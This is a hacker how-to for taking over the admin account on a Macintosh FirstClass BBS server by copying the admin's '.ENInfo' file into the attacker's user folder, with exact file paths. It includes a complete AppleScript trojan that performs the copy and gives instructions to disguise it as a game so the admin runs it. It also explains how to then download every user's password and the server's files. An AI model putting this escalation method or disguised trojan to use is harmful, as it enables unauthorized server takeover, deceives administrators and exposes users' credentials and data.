The following document will show you how to give yourself admin privs on a FirstClass BBS. This works on a Macintosh FirstClass Server, I am not sure if it works on a Windows Server.
To give yourself admin privs on a FirstClass Server all you need to do is to copy the file ".ENInfo" from the admin folder in the FirstClass Post Office to your user folder in the FirstClass Post Office. Once you have done this, when you log onto the server you will have to admins desktop. You can then access the servers hard drive and download all the users passwords on the server plus all the files on the server hard drive plus on any connected devices.
File Paths
The file ".ENInfo " is located at:
(Hard Drive):FirstClass Post Office:UserDir:Admin:.ENInfo
Your user folder is located at:
Hard Drive: FirstClass Post Office: UserDir: 0_: (Your Alias on the Server)
or
Hard Drive: FirstClass Post Office: UserDir: 1_: (Your Alias on the Server)
(Location of your user folder differs with the type of account you have)
How To Move The File
How to accomplish moving the".ENInfo " file to your user folder:
1. If you have physical access to the servers computer you can just drag and copy (hold down option while dragging the file) the ".ENInfo" file from the "admin" folder to your user folder which is in the "0_" or "1_" folder. (If you plan in advance you could make a bogus account by auto-registering under a fake name. You could then drag the file to this bogus account.)
2. If the above method doesn't work because you don't have physical access to the server you can try this Trojan.(Mac Only) This is an application that moves the ".ENInfo" file from the admin folder to your user directory. You can disguise this script as another type of application so that the admin doesn't realise that his server has just been tampered with. (This script will only work on a macintosh with System 7.5 and up that has the "Scriptable Finder Extension" installed aswell as the applescript extension installed. Luckily this is the standard configuration of most macintosh machines after system installation or right out of the box.
Copy the following script into the applescript "script editor" and save it as a "run only" program. Disguise it by changing the Icon and the name it.
-- Script Starts Here
tell application "Finder"
activate
-- put your user id in xxxx on the next line. ex: John Smith
delete file ".ENInfo" of folder "xxxx"of folder"1_" of folder "UserDir" of
folder "FirstClass Post Office" of startup disk
empty trash
-- put you user id in xxxx on the next line. ex: John Smith
delete file ".ENInfo" of folder "xxxx"of folder"0_" of folder "UserDir" of
folder "FirstClass Post Office" of startup disk
empty trash
try
-- put you user id in xxxx on the next line. ex: John Smith
delete file ".ENInfo" of folder "xxxx" of folder "0_" of folder "UserDir"
of folder "FirstClass Post Office" of startup disk
copy file ".ENInfo" of folder "Admin" of folder "UserDir" of folder
"FirstClass Post Office" of startup disk to folder "xxxx" of folder "1_" of
folder "UserDir" of folder "FirstClass Post Office" of startup disk
on error
end try
try
-- put you user id in xxxx on the next line. ex: John Smith
copy file ".ENInfo" of folder "Admin" of folder "UserDir" of folder
"FirstClass Post Office" of startup disk to folder "xxxx" of folder "0_" of
folder "UserDir" of folder "FirstClass Post Office" of startup disk
on error
end try
end tell
-- Script ends here
You can either upload this script to the server or put it on a disk and run it when you are directly on the server computer. If you upload it to the server make sure that it is disguised as something that the admin is interested in, such as a game or neat program. This will ensure that the admin will download it and launch the application.
You should test the script out on the demo server before trying this, just in case the script needs to be configure a bit differently. If you know somebody who has the real server try it out on their server before you try it on your victim.
If anybody wants to program a version of the above script please send me a copy of the hack.
This script worked for me it may not for you, but anyway, I take no responsibility for the use of this information.
